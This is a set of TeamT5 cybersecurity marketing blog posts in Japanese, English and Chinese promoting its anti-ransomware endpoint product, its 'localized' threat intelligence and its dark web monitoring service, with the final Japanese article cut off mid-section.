「ThreatSonar Anti-Ransomware」は、台湾をはじめとするアジア太平洋地域の多くのマネージドセキュリティサービスプロバイダー（MSSP）に採用されています。これによりMSSPは、ランサムウェアを含む最先端の既知および潜在的な脅威を常に特定・阻止し、顧客に対して高品質のマネージド検知・対応（MDR）サービスを提供することができます。
 


本記事では、ThreatSonar Anti-Ransomwareの強力な機能と活用シーン、ビジネスチャンスをもたらすのかについてご紹介します。ベンダーの皆様と共にビジネスチャンスを創出できますよう、皆様からのご連絡をお待ちしております。


##市場動向

ガートナーによると、MDR サービスを採用する企業が増加しています。2020 年には 15% の企業が MDR サービスを採用しており、2025 年にはその割合は 50% を超えると予想されています。また、Enterprise Strategy Groupのレポートによると、企業が MDR プロバイダーを変更する動機となる主な要因がいくつかあります。上位 3 つの要因は、「セキュリティアナリストのスキル向上」、「より効果的または高度なセキュリティツール」、「インシデントの検出率と解決率の向上」です。

![pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png](https://uploads.teamt5.org/upload/original/pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png)
<center>ソース : [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)</center>

 

これらのレポートは、「ビジネスの成功」は「効果的で高度なツール」と「アナリストのスキル」から生まれることを示しています。そして、TeamT5 はそれを実現することができます！

##なぜThreatSonar Anti-Ransomwareなのか？
ThreatSonar Anti-Ransomware は、MSSP がエンドユーザーにサービスを提供し、サイバーセキュリティレジリエンス向上をサポートをする「効果的かつ高度なツール」です。2024年には、ThreatSonar Anti-Ransomwareの優れた機能を評価するCOMPUTEX Best Choice Award - Golden Awardを受賞しました。

ThreatSonar Anti-Ransomwareの機能は以下のとおりです。

#### 1. AIによる脅威防御、潜在的な脅威へのプロアクティブな防御
- **検出**：本製品がインシデントを検出した場合、AI主導の検知メカニズムによりレポートと対応策の提案が即座に自動生成されるので、インシデントの概要を迅速に把握し、タイムリーに処理することで、脅威のリスクを低減することが可能です。
- **分析**: レポート分析パッケージをインシデントページから直接ダウンロードし、イベント分析をより効率的に行うことができます。
- **対応**: エンドポイント上でランサムウェアと悪意のあるプログラムを直接スキャンして隔離し、脅威を軽減します。



#### 2.振る舞い検知エンジンが24時間体制で監視し、最新の脅威を発見
業界をリードするハッカーの行動分析により、最新の脅威の検出を強化します。また、エンジンの自己学習メカニズムにより、よく使用される悪意のあるプログラムや新しいプログラムを効果的に識別し、暗号化されたファイルを明らかにすることが可能です。


####3. ネットワーク攻撃チェーンの可視化、インシデント軌跡の特定、
　そしてインシデント調査時間の短縮
攻撃経路を可視化することで、インシデントの軌跡を見つけ出し、インシデント情報をタグ付けすることで、セキュリティアナリストが攻撃者の行動を素早く特定・理解することが容易になり、インシデントの軌跡の調査が迅速化されます。

 
 

ThreatSonar Anti-Ransomware を使用することで、MSSP は拡張性と柔軟性を備え、次の機能を備えたマネージドセキュリティ サービスを顧客に提供できます。

###複数のユーザーにサービスを提供するコスト効率の高い方法
MSSP が所有するプラットフォームにより良い利益を創出します。
オンプレミスとクラウドの両方の導入をサポートし、社内外のネットワーク機器のEDR ニーズを満たします。
マルチテナント管理により、セキュリティ サービスを顧客全体に拡張することで、MSSP の成長を可能にします。



###エンドポイントセキュリティのための効果的かつ高度なツール
最新の脅威インテリジェンスによる高度な脅威からの防御、エンドポイントセキュリティステータスの完全な視覚化、そしてリモートによる対応と緩和措置を実行します。


###セキュリティ分析機能
TeamT5の専門家チームがサポートする、脅威ハンティングとサイバーセキュリティインシデント対応サービスのための優れたツールです。





 
ThreatSonar Anti-Ransomware は、サイバー脅威分析と脅威ハンティングに関する長年の研究経験を持つ TeamT5 の専門チームによってサポートされています。TeamT5 の専門家は国際的なサイバーセキュリティ会議に講演者として招待されることが多く、インシデント対応の分野で大きな影響力を持っています。また、TeamT5 CSIRT は、国際的なインシデント対応組織である [FIRST (Forum of Incident Response and Security Team)](https://www.first.org/) のメンバーでもあります。

![pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg](https://uploads.teamt5.org/upload/original/pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg)

 

##結論
ThreatSonar Anti-Ransomware は、変化し続けるサイバーセキュリティ環境においてきわめて重要なツールであり、MSSP がエンドユーザーに対し優れたサービスを提供するのに適しています。

ThreatSonar Anti-Ransomwareをもっと詳しく知る: [リンク](https://teamt5.org/jp/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)

 

>TeamT5 は、サイバー脅威ハンティングを専門としており、当社チームメンバーは、マルウェアと高度持続的脅威（APT）に関する20年以上の分析経験を有しています。また、地理的、言語的利点に基づき、アジア太平洋地域のハッカー攻撃を熟知しており、世界的なサイバーセキュリティ会議に招待され、研究結果を発表しています。

>当社が開発したエンドポイント保護および対応ソリューションである 「ThreatSonar Anti-Ransomware」 は、多くのマネージド セキュリティサービスプロバイダー (MSSP) に採用されています。ThreatSonar Anti-Ransomware の優れた機能が評価され、 COMPUTEX Best Choice Award の金賞を受賞しました。

>MSSP の皆様は、エンドクライアントのサイバーセキュリティレジリエンスを強化するためのビジネスチャンスを創出する方法についてご相談がありましたら、ぜひ弊社へご連絡ください。

>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us//?utm_source=blog&utm_medium=website)

受賞歴のあるソリューション「ThreatSonar Anti-Ransomware」がMSSPの新規顧客獲得に貢献

Understanding and countering threats effectively requires precise, timely, and context-rich intelligence. This is where localized intelligence becomes a critical asset. At TeamT5, we specialize in leveraging localized intelligence to provide unparalleled insights into cyber threats, particularly those emanating from the APAC region. But what exactly is localized intelligence, and how is it crafted?

## The Concept of Localized Intelligence
Localized intelligence refers to the collection and analysis of information directly from the regions where specific cyber threats originate. Imagine you're an organization or a government entity aiming to thwart attacks from a terror group based in the Middle East. Would you rely on intelligence from a company entrenched in the region, familiar with the language, culture, and ongoing activities, or from a company situated thousands of miles away with limited exposure to these threats? The choice is clear: proximity and direct engagement with the threat landscape are invaluable.

##Taiwan: A Hotspot for Cyber Threats
To illustrate the power of localized intelligence, consider Taiwan. In the first half of 2023, Taiwan experienced an astonishing 15,000 cyber attacks per second. This relentless onslaught is a direct result of its geopolitical situation, making Taiwan a unique vantage point for gathering cyber threat intelligence. At TeamT5, we harness this continuous exposure to cyber threats to develop first-hand, accurate, and timely intelligence on adversaries targeting the APAC region.

## Challenges Faced by Western Organizations
Western organizations often struggle with gathering detailed intelligence on overseas adversaries for several reasons:
1. **Geographical Distance**: Being far from the source of threats means fewer attack instances to study, resulting in less comprehensive data.
2. **Cultural and Language Barriers**: Understanding the nuances of an adversary's communication, tactics, and motivations requires fluency in their language and deep cultural insights.
3. **Limited Access**: Accessing forums and chat rooms where adversaries plan and discuss their activities can take years of reputation-building, a process challenging for distant organizations.

##The TeamT5 Approach to Localized Intelligence

![en_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/en_what-is-localized-intelligence-and-how-is-it-made.png)


At TeamT5, our methodology for creating localized intelligence is rigorous and multifaceted:

1.** Data Collection from Frequent Attacks**: We gather extensive data from previous attacks, including logs, sample malware, and telemetrics. This data serves as the foundation for our intelligence reports.
2. **Native Expertise**: Our threat researchers are native speakers of the languages used by adversaries and have a deep understanding of the local culture. This expertise enables them to decipher coded messages and signatures that would otherwise go unnoticed.
3. **Long-term Engagement**: Building trust and gaining access to closed forums and chat rooms used by adversaries requires long-term commitment and meticulous reputation building.
4. **Comprehensive Analysis**: Our analysts synthesize the gathered data, combining their understanding of the geopolitical landscape with the latest intelligence to produce actionable reports.

##Components of Localized Intelligence
Localized intelligence from TeamT5 includes several critical elements:
1. **Target Scope**: Identifying which regions, countries, and industries are being targeted.
2. **Tactics, Techniques, and Procedures (TTPs)**: Detailing the methods and tools used by adversaries.
3. **Command and Control (C&C) Infrastructure**: Analyzing the infrastructure adversaries use to orchestrate their attacks.

##The Power of Localized Intelligence in Practice
Take, for instance, TeamT5’s campaign tracking report. 

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

Each Campaign Tracking Report report includes:
- **Research Highlight**: A summary of the report’s key topics.
- **Target Scope**: Information on the targeted regions and sectors.
- **TTPs**: Insights into the adversaries' latest techniques and malware.
- **C&C Infrastructure**: Details on the infrastructure supporting the attacks.
- **Special Topics**: In-depth case studies on specific attack campaigns.


##Utilizing Localized Intelligence
Organizations can leverage localized intelligence in various ways. Some prefer manual review of intelligence reports, while others integrate indicators of compromise into automated detection systems. The optimal approach combines both methods, allowing for proactive threat prevention and informed risk management.


##Conclusion
Localized intelligence is a cornerstone of effective cyber threat defense, providing the detailed, contextual understanding necessary to counter sophisticated adversaries. At TeamT5, we are committed to delivering the highest quality localized intelligence to help organizations worldwide stay ahead of emerging threats. For more comprehensive insights, consider downloading our white paper, "[Understanding Cyber Threat Intelligence and the Cyber Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.


> Learn more about how localized intelligence can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

What is Localized Intelligence and How is it Made?

要有效地理解和應對威脅，需要精確、及時且具有豐富情境背景的情資。而這正是「在地情資」成為關鍵資產的原因所在。TeamT5 專注於利用在地情資，為 APAC 地區的網路威脅提供無與倫比的洞見。但究竟什麼是「在地情資」，以及它是如何製作的呢？

##在地情資的概念
在地情資指的是直接從特定網路威脅發源地收集和分析資訊。想像你是一個組織或政府單位，專注在阻止來自中東恐怖組織的攻擊。你會仰賴一家紮根於該地區、熟悉當地語言、文化和當前威脅活動的公司，還是仰賴於一家距離數千公里、對這些威脅接觸有限的公司？選擇是顯而易見的：接近威脅環境並直接參與其中的情資具有無可估量的價值。

##台灣：網路威脅的重中之重
為了說明在地情資的力量，讓我們以台灣為例。2023 年上半年，台灣每秒遭受多達 15,000 次的網路攻擊。台灣的地緣政治形勢，直接導致這無情的攻擊，使台灣成為收集網路威脅情資的獨特觀察點。TeamT5 藉這持續網路威脅暴露現況，開發出針對 APAC 地區駭客族群的第一手、精確及時的情資。

##西方組織面臨的挑戰
西方組織在收集海外駭客族群的詳細情資時，經常面臨以下挑戰：
1. **地理距離**：與威脅來源距離遙遠，代表能研究的攻擊實例較少，導致資料不夠全面。
2. **文化和語言障礙**：要能了解駭客族群的溝通、戰術和動機的細微差別，需要精通他們的語言和深入的文化洞察。
3. **有限的進入管道**：進入駭客族群策劃和討論活動的論壇和聊天室，需要花數年建立聲譽，這對遠端組織來說是個挑戰。

##TeamT5 在地化情資製作方式

![tw_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/tw_what-is-localized-intelligence-and-how-is-it-made.png)

TeamT5 製作在地情資的方法嚴謹且涵蓋多個層面：
1. **從頻繁發生的攻擊中收集資料**：我們從先前的攻擊中收集大量資料，包括日誌、樣本惡意軟體和遙測數據。這些數據是我們情資報告的基礎。
2. **在地專業知識**：我們的威脅研究員所使用的母語與駭客族群相同，對當地文化有深刻理解。這種專業知識使他們能夠破譯其他人可能忽略的隱密資訊和特徵。
3. **長期參與**：建立信任並進入駭客族群使用的封閉論壇和聊天室，需要長期投入和謹慎的信譽建立。
4. **全面分析**：我們的分析師綜合收集到的資料，結合對地緣政治形勢的理解和最新情資，生成可操作的報告。

##在地情資的組成要素
TeamT5 的在地情資包括以下關鍵要素：
1. **目標範圍**：確定哪些地區、國家和產業成為攻擊目標。
2. **戰術、技術和程序（Tactics, Techniques, and Procedures, TTPs）**：詳細描述駭客族群使用的方法和工具。
3. **中繼站（C&C）基礎設施**：分析駭客族群用於指揮攻擊的基礎設施。

##在地情資的實際應用

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

以 TeamT5 的活動追蹤報告為例，每份活動追蹤報告包括：
1. 研究重點：報告的關鍵主題摘要。
2. 目標範圍：針對的地區和產業資訊。
3. TTPs（Tactics, Techniques, and Procedures）：駭客族群最新技術和惡意軟體的洞察。
4. C&C 基礎設施：支持攻擊的基礎設施詳細資訊。
5. 專題：特定攻擊活動的深入案例研究。

##利用在地情資
企業組織可以以多種方式利用在地情資。有些組織偏好人工審閱情資報告，而其他組織則將入侵指標整合到自動檢測系統中。最佳化 TeamT5 在地情資使用方式，是結合這兩種方法，實現主動威脅預防和風險知情（risk-informed）管理。

##結論
在地情資是有效網路威脅防禦的基石，提供了對抗複雜駭客族群所需的詳細、情境化的理解。TeamT5 致力於提供最高品質的在地情資，幫助全球組織持續領先於新興威脅。想獲取更全面的洞見分析，請下載我們的[白皮書《了解網路威脅情資及其威脅環境：TeamT5 解析》](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)。

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解威脅情資如何助您的組織一臂之力！



什麼是在地情資？如何製作？

脅威を的確に理解し、効果的に対抗するには、正確でタイムリー、かつコンテキストに富んだインテリジェンスが必要です。そこで、ローカライズされたインテリジェンスが重要な資産となります。TeamT5では、ローカライズされたインテリジェンスを活用して、特にAPAC地域から発信されるサイバー脅威に関する比類のない知見を提供することを専門としています。しかし、ローカライズされたインテリジェンスとは正確には何であり、どのように作成されるのでしょうか?


##ローカライズされたインテリジェンスの概念

ローカライズされたインテリジェンスとは、特定のサイバー脅威が発生する地域から直接情報を収集し分析することを指します。中東を拠点とするテログループからの攻撃を阻止することを目的とする組織や政府機関を例として挙げてみましょう。その地域に根ざし、言語や文化、進行中の活動に精通している企業と、数千キロも離れた場所にあり、こうした脅威への接触が限られている企業のどちらからの情報を頼りにするでしょうか。選択肢は明らかに前者が選ばれます。

##台湾：サイバー脅威のホットスポット

ローカライズされたインテリジェンスの威力を示すために、台湾について考えてみましょう。2023年上半期、台湾では毎秒15,000件という驚異的なサイバー攻撃が発生しました。この容赦ない猛攻撃は、台湾の地政学的状況の直接的な結果であり、台湾はサイバー脅威インテリジェンスを収集するための独特な立ち位置にあります。TeamT5では、このような継続的なサイバー脅威への暴露を活用し、APAC地域を標的とする敵対勢力に関する直接かつ正確でタイムリーなインテリジェンスを開発しています。

##欧米の組織が直面する課題
![jp_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/jp_what-is-localized-intelligence-and-how-is-it-made.jpg)

欧米の組織が、海外の敵対勢力に関する詳細な情報の収集に苦労することが多いのには、いくつかの理由があります：


1. **地理的距離**： 脅威の発生源から遠く離れているため、調査対象となる攻撃事例が少なく、包括的なデータが得られないことが多いです。

2. **文化と言語の壁**： 攻撃者のコミュニケーション、戦術、動機のニュアンスを理解するには、敵の言語に精通し、深い文化的洞察力が必要です。

3. **アクセスの制限**： 攻撃者が活動を計画し議論するフォーラムやチャットルームにアクセスするには、何年もかけて評判を高める必要があり、遠方の組織にとっては困難なプロセスです。

##TeamT5 のローカライズされたインテリジェンスへのアプローチ

TeamT5 では、ローカライズされたインテリジェンスを作成するための方法は厳格かつ多面的です：

1. **頻繁に起こる攻撃からのデータ収集**：ログ、マルウェアのサンプル、テレメトリなど、過去の攻撃から広範なデータを収集します。このデータは、当社のインテリジェンスレポートの基礎となります。

2. **ネイティブの専門知識**：当社の脅威リサーチャーは、攻撃者が使用する言語を母国語とし、現地の文化を深く理解しています。この専門知識により、通常であれば気づかれないような暗号化されたメッセージやシグネチャを解読することができます。

3. **長期的な関与**： 信頼関係を構築し、攻撃者が使用する非公開のフォーラムやチャットルームにアクセスするには、長期的な関わりと綿密な評判の構築が必要です。

4. **包括的な分析**： 当社のアナリストは、収集したデータを統合し、地政学的状況に対する理解と最新のインテリジェンスを組み合わせて、実用的なレポートを作成します。


##ローカライズされたインテリジェンスの構成要素
![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)
 

TeamT5 のローカライズされたインテリジェンスには、いくつかの重要な要素が含まれています：


1. **ターゲット範囲**: どの地域、国、業界が狙われているかを特定します。

2. **戦術、テクニック、手順 (TTPs)**： 攻撃者が使用する手法やツールの詳細を表示します。

3. **コマンド＆コントロール（C&C）インフラ**： 攻撃者が攻撃を組織化するために使用するインフラストラクチャを分析します。
 

##ローカライズされたインテリジェンスの実際的な応用
例として、TeamT5 のCampaign Tracking Reportを見てみましょう：

各Campaign Tracking Reportには以下が含まれます：

- 調査のハイライト：レポートの主要トピックのまとめ
- ターゲット範囲： ターゲットの地域とセクターに関する情報
- 戦術、テクニック、手順： 攻撃者の最新のテクニックに関する知見
- C&C インフラ：攻撃をサポートするインフラストラクチャの詳細
- 特定のトピック: 特定の攻撃キャンペーンに関する詳細なケーススタディ

##ローカライズされたインテリジェンスの活用



組織は、さまざまな方法でローカライズされたインテリジェンスを活用することができます。インテリジェンスレポートを手作業で確認することを好む組織もあれば、侵害指標を自動検知システムに統合する組織もあります。最適なアプローチは、両方の方法を組み合わせることで、プロアクティブな脅威の予防と情報に基づくリスク管理を可能にします。


##結論は
ローカライズされたインテリジェンスは、効果的なサイバー脅威防御の礎であり、高度な攻撃死者に対抗するために必要な詳細かつ文脈に基づいた理解を提供します。TeamT5では、世界中の組織が新たな脅威の一歩先を行くことができるよう、最高品質のローカライズされたインテリジェンスを提供することをお約束します。より包括的な知見については、当社のホワイトペーパー「TeamT5によるサイバー脅威インテリジェンスとサイバー脅威状況の理解」のダウンロードをご検討ください。

ローカライズされたインテリジェンスとは？どのように作られるのか?

In the shadowy corners of the internet, the dark web thrives as a haven for cybercriminals. This clandestine part of the web, hidden from conventional search engines and browsers, is a hub for illicit activities, from trading malware to selling stolen data. Businesses today face unprecedented risks from the dark web, where data breaches can lead to severe financial, operational, and legal repercussions. Understanding and mitigating these threats is essential, and TeamT5's latest product offerings through ThreatVision’s Deep and Dark Web Risk Monitoring provide a robust solution.

##The Impact of Dark Web Leaks on Businesses
###Financial Devastation
The financial implications of data breaches can be catastrophic. When sensitive information is leaked on the dark web, it often leads to extortion, fraud, and other financial crimes. A glaring example is a major credit reporting agency that faced a breach compromising the personal data of 163 million individuals, resulting in losses exceeding $1.7 billion. This included fines from various regions, underscoring the severe consequences and extensive reach of such breaches.

####Operational Disruptions
Data breaches can significantly disrupt business operations. A notable incident involved a media giant whose data leak on Thanksgiving 2014 forced 47,000 employees to work from home, unable to access IT systems. The hackers, known as "Guardians of Peace," infiltrated the company’s systems, leaking sensitive information and causing the company's stock price to drop by over 10% within five days. The operational disruptions were profound, with employees reverting to paper-based processes, leading to inefficiencies and extended downtime.

####Legal Repercussions
Companies in regulated industries face stringent penalties when customer data is compromised. A retail giant's breach, which led to the theft of over 40 million credit and debit card records, resulted in over 90 lawsuits from affected customers and banks. The company faced investigations by regulatory bodies, including the Federal Trade Commission (FTC), and incurred costs exceeding $61 million to address the incident and restore customer trust.

##Understanding the Deep and Dark Web
The internet is composed of more than just the surface web, accessible via conventional search engines. The deep web consists of non-indexed sites locked behind usernames and passwords, containing sensitive information such as legal documents and financial records. While the deep web is largely benign, it holds critical data that businesses must protect proactively.
The dark web, however, is where the real danger lies. Accessible only through special browsers like Tor, which offers high anonymity, the dark web is a hotspot for criminal activities. This anonymity makes it attractive for cybercriminals to engage in activities such as data leaks, fraud, money laundering, and selling stolen data.

##Common Cybersecurity Crimes on the Dark Web
- **Malware Trading**: Hackers trade various types of malware to infect systems and steal data.
- **Credential Sales**: Compromised usernames and passwords are sold, leading to corporate system breaches.
- **Data Sales**: Personal and corporate sensitive data are sold, damaging reputations.
- **Credit Card Fraud**: Leaked credit card numbers are sold for profit and used for fraudulent activities.

##Combating Dark Web Risks with ThreatVision
####TeamT5’s Deep and Dark Web Risk Monitoring
To address these threats, TeamT5 offers a comprehensive Deep and Dark Web Risk Monitoring module through ThreatVision. This includes two key products: the Weekly Alert and the Tailored Report.

#####Risk Alert
The Weekly Alert provides automated weekly scans of the deep and dark web. Results are accessible through the ThreatVision platform or via email, and can be exported in CSV format for further analysis. This enables businesses to quickly identify and respond to potential risks.

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

#####Tailored Report
The Tailored Report offers a deeper level of analysis, including threat risk assessment, recent findings, and mitigation suggestions. It covers deep and dark websites, hacker forums, Chinese-speaking underground communities, social media, and popular forums in the APAC region. This report is enriched with intelligence gathered and analyzed by TeamT5’s expert analysts.


####Benefits of TeamT5's Monitoring
- **Regular Monitoring**: Enables quick identification of deep and dark web risks.
- **Proactive Response**: Provides time to make PR and operational adjustments to minimize damage.
- **Impact Assessment**: Helps assess the breach impact and protect the company’s reputation.


####Focused Monitoring on Finance-related Cybercrime Activities
TeamT5’s monitoring focuses on criminal activities related to the financial industry and e-commerce. With a significant emphasis on Chinese-speaking channels and communities, sources are regularly updated by a team of dedicated analysts. The monitored sources include over 40 deep and dark websites, 400+ Telegram channels, and various social media platforms used by Chinese-speaking threat actors.

####Comprehensive Reporting
The ThreatVision platform provides detailed reports, including:
- **List of Leaked Data**: Details of credentials leaked from combo lists and compromised devices.
- **Risk Assessment and Recommendations**: Expert analysis and actionable recommendations to mitigate risks.


##Summary
In today’s digital landscape, the dark web poses significant threats to businesses worldwide. However, with TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision, companies can proactively monitor and mitigate these risks. By understanding the dark web, assessing threats, and taking timely actions, businesses can protect their operations, finances, and reputation from the hidden dangers lurking in the dark corners of the internet.
Stay vigilant and safeguard your business with ThreatVision – because in the battle against cyber threats, knowledge and proactive measures are your best allies.

 

> TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[link](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)

Shining a Light on the Dark Web: Protecting Your Data and Reputation

暗網，存在於網路的陰暗角落，是網路犯罪者的避風港。這個隱藏於傳統搜索引擎和瀏覽器的網路，是非法活動的中心，包含惡意軟體交易、出售被盜資料。現今企業面臨前所未有的暗網風險，資料洩露可能導致嚴重的財務、營運和法律後果。認識並減少這些威脅至關重要，而 TeamT5 透過 ThreatVision 的深暗網風險監控產品，提供了一個強大的解決方案。

##暗網洩露對企業的影響
####財務損失
資料洩露，可能對財務造成災難性的影響。當敏感資料外洩在暗網上時，往往會導致敲詐、欺詐和其他犯罪，進一步導致高額的財務損失。一個明顯的例子是一家大型信用報告機構，其面臨的資料洩露，使 1.63 億人的個人資訊被泄露，造成超過 17 億美元的損失，包括來自多個地區的罰款，凸顯了此類洩露的嚴重後果和廣泛影響。

####營運中斷
資料洩露可能會嚴重擾亂業務營運。2014 年感恩節前夕，一家媒體巨頭的資料外洩事件迫使 47,000 名員工在家工作，無法訪問 IT 系統。駭客組織「和平守護者」滲透進入了公司系統，洩露敏感資料，導致公司股價在五天內下跌超過 10%。營運中斷極為嚴重，員工被迫回歸紙本流程，導致效率降低和停機時間延長。

####法律後果
在受監管行業中的公司，如果客戶資料被洩露，將面臨嚴厲的懲罰。一家零售巨頭的資料外洩事件導致超過 4,000 萬張信用卡和借記卡記錄被盜，超過 90 起訴訟來自受影響的客戶和銀行。該公司面臨監管機構（包括聯邦貿易委員會）的調查，並支付超過 6,100 萬美元的代價，解決事件並恢復客戶信任。

## 認識深網和暗網
網路不僅僅是通過傳統搜索引擎訪問的表層網。深網由未編入索引的網站組成，這些網站被用戶名和密碼鎖定，包含法律文件和財務記錄等敏感資料。雖然深網的內容與資料大多是無害的，但它包含了企業需要主動保護的重要資料，更是需要優先防範的環境。
然而，真正的危險在於暗網。只能透過特別的瀏覽器，如 Tor 等管道，這些瀏覽器提供高度匿名性，使暗網成為犯罪活動的熱點。這種匿名性吸引了網路犯罪分子進行資料外洩、詐騙、洗錢和出售被盜資料等活動。

##常見的暗網網路犯罪
- **惡意軟體交易**：駭客交易各種類型的惡意軟體來感染系統並竊取資料。
- **憑證銷售**：被洩露的用戶帳號和密碼被出售，導致企業系統被入侵。
- **資料銷售**：個人和企業的敏感資料被出售，損害公司聲譽。
- **信用卡欺詐**：被洩露的信用卡號碼被出售，並用於欺詐活動。

##透過 ThreatVision 對抗暗網風險
####TeamT5 的深暗網風險監控
為了應對這些威脅，TeamT5 ThreatVision 提供了全面的深暗網風險監控模組，包括兩個關鍵產品：「深暗網定期監控告警」和「深暗網監控分析報告」。


######深暗網定期監控告警
「深暗網定期監控告警」提供自動的每週深網和暗網掃描。結果可以透過 ThreatVision 平台或電子郵件獲取，並可導出為 CSV 格式以供進一步分析。這使企業能夠快速識別和應對潛在風險。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

######深暗網監控分析報告
「深暗網監控分析報告」提供更深入的分析，包括威脅風險評估、最新發現和緩解建議。它涵蓋深網和暗網站點、駭客論壇、中文地下社群、社群媒體和亞太地區的流行論壇。這份報告富含 TeamT5 的專家分析師團隊所收集和分析的暗網情資。

####TeamT5 監控的優勢
- **定期監控**：能夠快速識別深網和暗網風險。
- **為企業爭取關鍵應變時間**：提供時間進行公關和營運調整，以將損害降至最低。
- **有效評估外洩受害範圍**：幫助評估外洩造成的影響，並保護公司聲譽。

####精準監控暗網上金融犯罪活動
TeamT5 的監控專注於與金融業和電子商務相關的犯罪活動。重點監控中文頻道和社群，資料來源由專業分析師團隊定期更新。監控來源包括 40 多個深網和暗網站點，400 多個 Telegram 頻道，以及各種中文駭客族群使用的社群媒體平台。


####清晰易讀的外洩偵測告警介面
ThreatVision 平台提供詳細外洩資訊，包括：
- **遭洩露憑證列表**：詳細說明從外洩檔案(如 Combo File)洩漏之帳戶密碼，以及受駭或感染之設備中洩露的登入憑證。
- **風險評估和建議**：專家分析和緩解建議來減少風險。

##結論
在當今的數位化環境中，暗網對全球企業構成了重大威脅。然而，透過 TeamT5 的 ThreatVision 深暗網風險監控，企業可以主動監控並減少這些風險。透過了解暗網、評估威脅並及時採取行動，企業可以保護其營運、財務和聲譽，免受隱藏在網路黑暗角落中的危險侵害。
保持警惕，並透過 ThreatVision 保護您的企業——因為在對抗網路威脅的戰鬥中，知識和主動措施是您最好的盟友。


> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)

照亮暗網：保護您的資料和聲譽

インターネットの影の隅では、ダークウェブ がサイバー犯罪者の巣窟として栄えており、従来の検索エンジンやブラウザから隠されているダークウェブは、マルウェアの取引から盗まれたデータの販売に至るまで、違法行為の拠点となっています。近年になり、企業はダークウェブによる前例のないリスクに直面しており、データ侵害は財務上、運営上、法的な影響に重大な影響を及ぼす可能性があります。だからこそ、これらの脅威を理解し、軽減することが不可欠です。ThreatVision のディープウェブ、ダークウェブ・リスクモニタリングを通じた TeamT5 の最新製品は、強固なソリューションを提供します。

##ダークウェブによる漏洩が企業に与える影響

####財務的損失

データ侵害による経済的影響は、ダークウェブ上で漏洩した場合、恐喝、詐欺、その他の金融犯罪につながることがよくあります。その顕著な例として、大手信用調査機関が個人データの侵害に直面した事件などが挙げられます。これには、さまざまな地域からの罰金も含まれており、このような侵害による深刻かつ広範囲にわたる影響が浮き彫りになっています。

####業務の中断
データ侵害は企業運営に大きな混乱をもたらす可能性があります。過去には、2014 年の感謝祭にデータが流出し、 47,000 人の従業員がITシステムにアクセスできず、在宅勤務を余儀なくされた大手メディアの事件が存在します。これには、「平和の守護者」と呼ばれるハッカーが同社のシステムに侵入したことが関係してており、機密情報が漏洩したことで、同社の株価は 5 日以内に 10% 以上下落しました。業務上の混乱は深刻で、従業員は紙ベースのプロセスに戻さざる得なくなり、非効率とダウンタイムの長期化につながりました。

####法的影響
規制された業界の企業は、顧客データが漏洩した場合に厳しい罰則を受けることとなります。ある小売大手の情報漏えい事件では、4,000万件以上のクレジットカードとデビットカードの記録が盗まれ、同社は被害を受けた顧客や銀行から90件以上の訴訟を起こされました。また、連邦取引委員会（FTC）を含む、規制機関の調査が入り、事件への対処と顧客の信頼回復のために6,100万ドルを超える費用が発生しました。

##ディープウェブとダークウェブへの理解

インターネットは、従来の検索エンジンでアクセスできる表層的なウェブだけで構成されているわけではありません。ディープウェブは、ユーザー名とパスワードでロックされているインデックスのないサイトで構成されており、中には法的文書や財務記録などの機密情報が含まれています。ディープウェブの大部分は無害ですが、企業が積極的に保護しなければならない重要なデータを保持しています。

ダークウェブ上でよく見られるサイバーセキュリティ犯罪
- **マルウェアの取引**: ハッカーは、システムに感染してデータを盗むために、さまざまな種類のマルウェアを取引します。

- **認証情報の販売**: 侵害されたユーザー名とパスワードが販売されており、企業システムの侵害につながります。

- **データ販売**: 個人および企業の機密データが販売され、評判が損なわれます。

- **クレジット カード詐欺**: 漏洩したクレジット カード番号は営利目的で販売され、詐欺行為に使用されます。


しかし、本当の危険はダークウェブにあります。高い匿名性を提供するTorのような特別なブラウザを通してのみアクセス可能なダークウェブは、犯罪活動のホットスポットです。この匿名性が、サイバー犯罪者にとって、データ漏洩、詐欺、マネーロンダリング、盗難データの販売といった活動に従事する上で魅力となっています。


##ThreatVision でダークウェブのリスクに対抗

####TeamT5 のディープウェブ、ダークウェブのリスク監視

